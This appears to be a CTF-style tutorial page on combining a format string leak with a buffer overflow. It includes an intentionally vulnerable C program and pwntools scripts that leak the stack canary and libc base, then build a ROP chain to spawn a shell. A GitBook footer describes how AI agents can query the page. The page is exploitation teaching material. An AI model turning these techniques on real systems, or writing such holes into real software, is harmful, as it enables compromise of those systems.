> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/16.-fs-+-bfo.md).

# 0x15 — Format String + Buffer Overflow

## Overview

Sometimes a single vulnerability isn't enough. When a binary has **both** a format string vulnerability and a buffer overflow, you can chain them together:

* Use the **format string** to leak addresses (libc base, canary, stack addresses)
* Use the **buffer overflow** to redirect execution (ROP chain, ret2libc)

This is one of the most realistic and common CTF/real-world exploitation scenarios, especially when stack canaries are enabled.

***

## Why Combine Them?

| Protection   | Defeated by...                       |
| ------------ | ------------------------------------ |
| ASLR         | Format string leak of libc address   |
| Stack Canary | Format string leak of canary value   |
| NX           | ROP chain via buffer overflow        |
| PIE          | Format string leak of binary address |

The format string and buffer overflow complement each other perfectly.

***

## Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln() {
    char buf[64];

    printf("Name: ");
    read(0, buf, 64);
    printf(buf);            // ← FORMAT STRING vuln

    printf("Input: ");
    read(0, buf, 256);      // ← BUFFER OVERFLOW (256 > 64)
}

int main() {
    vuln();
    return 0;
}
```

Compile **with canary** and **with ASLR**:

```bash
gcc -o vuln vuln.c -no-pie -fstack-protector-all
# or with PIE:
gcc -o vuln vuln.c -fstack-protector-all -pie
```

***

## Exploit Plan

1. **Phase 1 (Format String)**: Send format specifiers to leak:
   * Stack canary (needed to bypass stack protector)
   * libc address (needed to find `system` + `/bin/sh`)
   * Binary base (if PIE enabled)
2. **Phase 2 (Buffer Overflow)**: Send overflow payload with correct canary + ROP chain

***

## Step 1: Find Canary and libc in Stack Dump

```python
from pwn import *

p = process('./vuln')

# Dump 40 stack values
payload = b'.'.join(f'%{i}$p'.encode() for i in range(1, 41))
p.sendafter(b'Name: ', payload + b'\n')
output = p.recvuntil(b'\n', timeout=2).decode()

values = output.split('.')
for i, v in enumerate(values, 1):
    v = v.strip()
    try:
        val = int(v, 16)
    except:
        continue
    print(f"[{i:2d}] {hex(val)}")
```

**Identifying the canary:**

* Canaries on 64-bit end in `\x00` (their low byte is null)
* In hex output they look like: `0x3f8a2c91b4d2e500`
* They appear at a fixed offset relative to `buf`

**Identifying libc address:**

* Values like `0x7f...` pointing into the libc range

***

## Step 2: Automated Leak Script

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

# Find offsets experimentally:
CANARY_OFFSET = 17   # adjust per binary
LIBC_OFFSET   = 23   # adjust per binary

# Leak both in one format string
fmt = f'%{CANARY_OFFSET}$p|%{LIBC_OFFSET}$p|'.encode()
p.sendafter(b'Name: ', fmt)

response = p.recvuntil(b'Input: ').decode()
parts = response.split('|')

canary       = int(parts[0].strip(), 16)
libc_leak    = int(parts[1].strip(), 16)

# libc_leak might be __libc_start_main+xxx or similar
# Find the offset: run once without ASLR, check with GDB what address appears at LIBC_OFFSET
libc_offset_from_base = 0x21c87   # example: __libc_start_main + 243
libc_base    = libc_leak - libc_offset_from_base

log.success(f"Canary:    {hex(canary)}")
log.success(f"libc base: {hex(libc_base)}")
```

***

## Step 3: Buffer Overflow with Canary + ROP

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

# === Phase 1: Leak ===
CANARY_OFFSET = 17
LIBC_OFFSET   = 23

fmt = f'%{CANARY_OFFSET}$p|%{LIBC_OFFSET}$p|'.encode()
p.sendafter(b'Name: ', fmt)
resp = p.recvuntil(b'Input: ')
parts = resp.decode().split('|')

canary    = int(parts[0].strip(), 16)
libc_leak = int(parts[1].strip(), 16)

libc.address = libc_leak - libc.sym['__libc_start_main'] - 243
log.success(f"Canary: {hex(canary)}")
log.success(f"libc:   {hex(libc.address)}")

# === Phase 2: Overflow ===
pop_rdi = next(libc.search(asm('pop rdi; ret')))
ret     = next(libc.search(asm('ret')))

# Stack layout (64-bit): buf[64] | canary[8] | saved_rbp[8] | saved_rip[8]
payload  = b'A' * 64          # fill buf
payload += p64(canary)        # preserve canary (must match!)
payload += p64(0)             # saved rbp (can be junk)
payload += p64(ret)           # alignment
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])

p.send(payload)
p.interactive()
```

***

## Stack Layout Diagram

```
+------------------+  ← buf[0]       (rsp at vuln entry)
|   buf[0..63]     |
+------------------+  ← buf+64
|   stack canary   |  ← must be preserved!
+------------------+  ← buf+72
|   saved RBP      |
+------------------+  ← buf+80
|   saved RIP      |  ← overwrite this with ROP chain
+------------------+
```

***

## Finding the Canary Offset

Method 1 — GDB:

```bash
gdb ./vuln
break vuln
run
# At breakpoint, check stack layout:
# (pwndbg) canary
# (pwndbg) info frame
```

Method 2 — Calculate from format string:

```
If buf starts at rsp, and canary is at buf+64:
Canary is at rsp+64 on the stack.
In format string terms, each %p is 8 bytes = 8 positions per 8 bytes.
If rsp is arg 6, canary is at arg 6 + 64/8 = arg 14.
```

***

## PIE + ASLR + Canary (All Protections)

When the binary has PIE enabled too, leak the binary base as well:

```python
# Leak binary return address (points into main or libc_start_main)
BINARY_OFFSET = 12

binary_leak  = int(parts[2].strip(), 16)
elf.address  = binary_leak - (elf.sym['main'] + some_offset)
```

Now you have:

* `elf.address` — binary base (PIE bypass)
* `libc.address` — libc base (ASLR bypass)
* `canary` — stack canary value (canary bypass)

Full protection bypass in one format string leak!

***

## Key Takeaways

* Format string + BOF is a powerful combo: leak with FSV, exploit with BOF
* Canary must be **read** via format string, then **reproduced exactly** in the overflow
* Leak libc address to compute `system`, `/bin/sh` despite ASLR
* The format string leak and buffer overflow can happen in **the same function call** or in separate turns (if the program loops)
* Always verify the canary offset in GDB before building the exploit

***

## Quick Checklist

* [ ] Found format string offset
* [ ] Identified canary position in format string dump
* [ ] Identified libc leak position
* [ ] Confirmed exact canary value
* [ ] Verified libc offset (run without ASLR, find which offset it is in libc)
* [ ] Correct stack layout for overflow (buf size + canary + RBP + RIP)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/16.-fs-+-bfo.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
